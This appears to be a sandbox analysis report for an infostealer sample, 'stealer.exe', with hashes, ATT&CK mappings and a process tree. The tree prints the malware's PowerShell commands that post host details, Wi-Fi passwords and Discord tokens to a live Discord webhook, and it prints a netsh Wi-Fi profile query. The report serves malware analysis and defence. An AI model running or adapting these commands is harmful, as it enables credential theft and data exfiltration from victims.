02a24699d894b9e171959ba5c40bde17dcd869b134a51823caa4e7ecc76319c3

Analysis

user interaction
yes
max time kernel
22s
max time network
23s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
11/07/2026, 00:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
stealer.exe
Size 426KB
Sample260711-a7rwlab16w
SHA256 02a24699d894b9e171959ba5c40bde17dcd869b134a51823caa4e7ecc76319c3
MD5 ce53fbfc0b167f4db48295cd44298fda
SHA1 92dea4df5edc57ebc117b7756dae94089735389d
SHA512 a9dec0ee5ad691032cc1601a27e37d8a992b3e14e768fc734c0c6da30ffbb453f5160524fc73be6debcebb2708cf1ad3c97e2cf3dc497fa9569a883cc92250b6
SSDEEP 6144:GRx4LJR2b2BPsocSCTVctjSfuymhXDsqcgvEcTG7WGCxxjHlNSrrcz9xlZ0:Ia8KoSactG9iNPTRNPHLSUB
TLSH
T154947D25E7A800F9E167D17CC9534902DB72785A0760EBCF0398AA671F276E49E3EF11
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution persistence privilege_escalation

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	552	powershell.exe
27	2372	powershell.exe
28	3776	powershell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
6	discord.com
27	discord.com

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2372	powershell.exe
3776	powershell.exe
1104	powershell.exe
552	powershell.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
2472	cmd.exe
4548	netsh.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
552	powershell.exe
552	powershell.exe
2372	powershell.exe
2372	powershell.exe
3776	powershell.exe
3776	powershell.exe
1104	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	552	powershell.exe
Token: SeDebugPrivilege	2372	powershell.exe
Token: SeDebugPrivilege	3776	powershell.exe
Token: SeDebugPrivilege	1104	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 456 wrote to memory of 552	456	stealer.exe	88
PID 456 wrote to memory of 2372	456	stealer.exe	99
PID 456 wrote to memory of 2472	456	stealer.exe	101
PID 2472 wrote to memory of 4548	2472	cmd.exe	102
PID 456 wrote to memory of 3776	456	stealer.exe	103
PID 456 wrote to memory of 1104	456	stealer.exe	105

C:\Users\Admin\AppData\Local\Temp\stealer.exe
"C:\Users\Admin\AppData\Local\Temp\stealer.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\\f98er24s\wh.ps1" "https://discord.com/api/webhooks/1524249338161664133/eLvkd0_pvuKKcpDxbOSVvqNrZMQfSBgFflJDqsbum-KjFUpQLtxNxFND4IAtottJo0OD" "stealer started successfully" 2>$null
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\\h0da1yoj\wh.ps1" "https://discord.com/api/webhooks/1524249338161664133/eLvkd0_pvuKKcpDxbOSVvqNrZMQfSBgFflJDqsbum-KjFUpQLtxNxFND4IAtottJo0OD" "## System Information **Hostname:** EPSYDAFZ **User:** Admin **FQDN:** Epsydafz **HWID:** f9543276306d2178bfbff **OS:** 10.0 Build 19041 **Arch:** x64 **RAM:** 16384 MB total, 3003 MB free **CPU:** Intel Core Processor (Broadwell) **Logical CPUs:** 8 **Display:** 1920x1080 **Timezone:** GMT Daylight Time **Uptime:** 2d 18h 51m **Timestamp:** 2026-07-11 01:51:57 " 2>$null
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2372
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh wlan show profiles 2>nul
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  - Suspicious use of WriteProcessMemory
  PID:2472
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:4548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\\e8760xls\wh.ps1" "https://discord.com/api/webhooks/1524249338161664133/eLvkd0_pvuKKcpDxbOSVvqNrZMQfSBgFflJDqsbum-KjFUpQLtxNxFND4IAtottJo0OD" "## WiFi Passwords [no profiles found] " 2>$null
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\\ls7e9th4\wh.ps1" "https://discord.com/api/webhooks/1524249338161664133/eLvkd0_pvuKKcpDxbOSVvqNrZMQfSBgFflJDqsbum-KjFUpQLtxNxFND4IAtottJo0OD" "## Discord Tokens [no tokens found] " 2>$null
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1104

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 27983f75d9518ed67a5a274c97cbecbf881d4e5d766e6019f53eed0ea7fa5486
MD5 eb84cf3992100584ad60675ff8fc1867
SHA1 ebae74210a6d72320fd424f4da9328967f6ded48
SHA512 8722b9df8114f19f64cf7ba266991fe7a3056183006ebedbdfa9fb4d49398e5626093006648cb5685b3f84bd44f3fd0d9c8a487e9d1fc4fe6d55dd000b2ce55c
TLSH
T15661EB323275B1D8C9167F071E6819C053BF4395EAA4AF5CB29C221EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 2526610d70ba6edd43b86d1128a156f53c7e4e874d2f4a963bb5b78cda92d0f1
MD5 c2f4c3f813b3822674fb91ff0ccb5797
SHA1 018d58c39ce517b8fb0282f1421256e01063f491
SHA512 6ca14a4ecdab272b29033f8c61b042a25475cf372635f2ef175071a2a3859ccdc85afa22ff7cd95da661cd407173339c4e532ae5f7d4d7efe0958992e4ed76b1
TLSH
T1A731DC67B38CD52ED883253A51DEAD203265C2E7C0DADE9B7FD4C600906F588CB646A8
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 cfd5594bdae0ced4a61605192c21aaa255be710d2b3681fccb7727f2c772a92a
MD5 85b6929cd9c7e9ef14255267c419bedf
SHA1 48e8afab4b03e464078fcfaab47da550cb2e2601
SHA512 b2264c34215c603e99d0e9c92dbe531d1991e5fa0fff862743c080a8b7c16d826478a9ffed9d27da74e03cc52a653287a127b2dabba6ab2499e572494f98b45c
TLSH
T1E231CC67B38C996EDC42153A61DDAE1031B582E3C0DEDE9F7FD0C200A0AF688CA74568
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 c4aed8ba9dddf231a40201d8f01c754e0d0885497fba73bffbfe4a8bd6932f6d
MD5 0a13b971460941af58c22864f7d18879
SHA1 b7e8242f6a46bb37cd3a98d590c333c05d20f081
SHA512 e43a082ba0e79799289ea4ac4f0c3133ac606ab2e80f9d2d095475233c98848908074362cb1e19a8d6eb7f162328e8f5aa36465d0ec3822fa320a969e1eaebbc
TLSH
T15631FC27B38C951ADC82193A61DDAD10327182E7C4DEDF8F7FC0C204B17FA88CA64568
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_qpryx2ye.ovf.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qpryx2ye.ovf.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

wh.ps1

Path C:\Users\Admin\AppData\Local\Temp\f98er24s\wh.ps1
Size 270B
SHA256 da4efb958c5fa6b0abf563f142692b2e3afe138494a18ce73560bd763312b0d0
MD5 c43cf201d17d2477c1c8fd4837e098a5
SHA1 3301a400f959f73415732512ccffe8164e7dddd6
SHA512 727c668ac1086b345a6c621311927f54e7f1830ca7e11465d5bdd96b255c6b8cea638f975a0378b5e05028bfffff27124ee4e88f2d48173799d79169065cba71
TLSH
T1ACD0EBF3240B1274404B82EEC634C3C1023042C14206282112DA4E8B1AC22CC0654FC4
MD5 SHA1 SHA512 TLSH

Submit Download

memory/552-13-0x0000022ECF400000-0x0000022ECF928000-memory.dmp

Download

memory/552-14-0x0000022ECE240000-0x0000022ECE250000-memory.dmp

Download

memory/552-15-0x0000022ECE240000-0x0000022ECE250000-memory.dmp

Download

memory/552-12-0x0000022ECED00000-0x0000022ECEEC2000-memory.dmp

Download

memory/552-2-0x0000022ECE240000-0x0000022ECE250000-memory.dmp

Download

memory/552-10-0x0000022EB5C30000-0x0000022EB5C52000-memory.dmp

Download

memory/552-1-0x0000022ECE240000-0x0000022ECE250000-memory.dmp

Download

memory/2372-20-0x00000232301F0000-0x0000023230200000-memory.dmp

Download

memory/2372-21-0x00000232301F0000-0x0000023230200000-memory.dmp

Download

memory/2372-32-0x00000232304D0000-0x00000232306EC000-memory.dmp

Download

memory/3776-44-0x000001FAFCE40000-0x000001FAFD05C000-memory.dmp

Download